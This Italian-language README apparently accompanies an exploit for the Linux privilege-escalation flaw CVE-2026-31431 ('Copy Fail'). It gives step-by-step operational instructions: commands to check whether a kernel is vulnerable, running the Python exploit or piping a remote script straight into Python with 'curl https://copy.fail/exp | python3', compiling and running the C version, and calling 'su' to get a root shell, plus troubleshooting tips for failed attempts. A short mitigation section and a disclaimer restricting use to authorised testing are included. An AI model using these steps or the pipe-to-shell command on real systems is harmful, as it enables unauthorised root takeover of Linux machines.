Copy Fail (CVE-2026-31431) – Guida all'utilizzo dell'exploit

Readme originale preso da @painoob

Tutte le versioni del Kernel dal 2017 / 2016 sono vulnerabili ! Il Kernel 7 è completamente immune, gli altri (tra 5-7 potrebbero essere ancora vulnerabili)

⚠️ Disclaimer

Questo contenuto è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. NON eseguirlo su sistemi senza esplicita autorizzazione.

📌 Panoramica

Copy Fail (CVE-2026-31431) è una vulnerabilità di Local Privilege Escalation (LPE) su Linux che colpisce l'API crypto del kernel tramite AF_ALG.

Consente a un utente non privilegiato di sovrascrivere i dati della page cache di un binario SUID (ad esempio, /usr/bin/su) e ottenere l'accesso root.

🧠 Requisiti

Requisiti di sistema

• Kernel Linux (vulnerabile – dipende dallo stato della patch)
• AF_ALG abilitato
• Modulo algif_aead caricato

Requisiti dell'exploit Python

• Python 3.10+
• Supporto per:
  • os.splice
  • socket(AF_ALG)

🔍 Verifica della vulnerabilità

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicatori attesi:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead caricato

🐍 Esecuzione dell'exploit Python

1. Esecuzione diretta

python3 copy_fail_exp.py

2. Oppure tramite curl (se ospitato remotamente)

curl https://copy.fail/exp | python3

3. Attivazione della shell root

su
id

Risultato atteso:

uid=0(root)

⚠️ Problemi comuni (Python)

❌ Errore: os.splice not found

Causa:

• Versione di Python < 3.10
• Build limitata

Soluzione:

• Usare un binario Python più recente
• Caricare un interprete Python statico

⚙️ Compilazione della versione C

1. Compilazione

gcc copy_fail_exp.c -o copy_fail

2. Rendere eseguibile

chmod +x copy_fail

3. Esecuzione dell'exploit

./copy_fail
su

⚠️ Problemi comuni (C)

❌ L'exploit viene eseguito ma non si ottiene root

Possibili cause:

• Kernel già patchato
• Offset errati
• Ambiente non compatibile

❌ Errori di compilazione

Installare gli strumenti necessari:

apt update && apt install build-essential

🧪 Risoluzione dei problemi

Verificare se il sistema è patchato

dmesg | grep -i alg

Verificare il modulo

lsmod | grep algif_aead

🛡️ Mitigazione

Disabilitare il modulo vulnerabile

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Applicare la patch del kernel

Aggiornare il sistema:

apt update && apt upgrade

📌 Note

• L'exploit modifica solo la page cache (non persistente)
• Richiede accesso locale
• Non sfruttabile da remoto per impostazione predefinita

🧠 Considerazioni finali

Se l'exploit fallisce, considerare:

• Kernel già patchato
• Restrizioni dell'ambiente
• Vettori alternativi di privilege escalation (SUID, capabilities, misconfigurazione di sudo)

📚 Riferimenti

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Note dell'autore

Usa questo exploit in modo responsabile solo in laboratori, CTF e pentest autorizzati.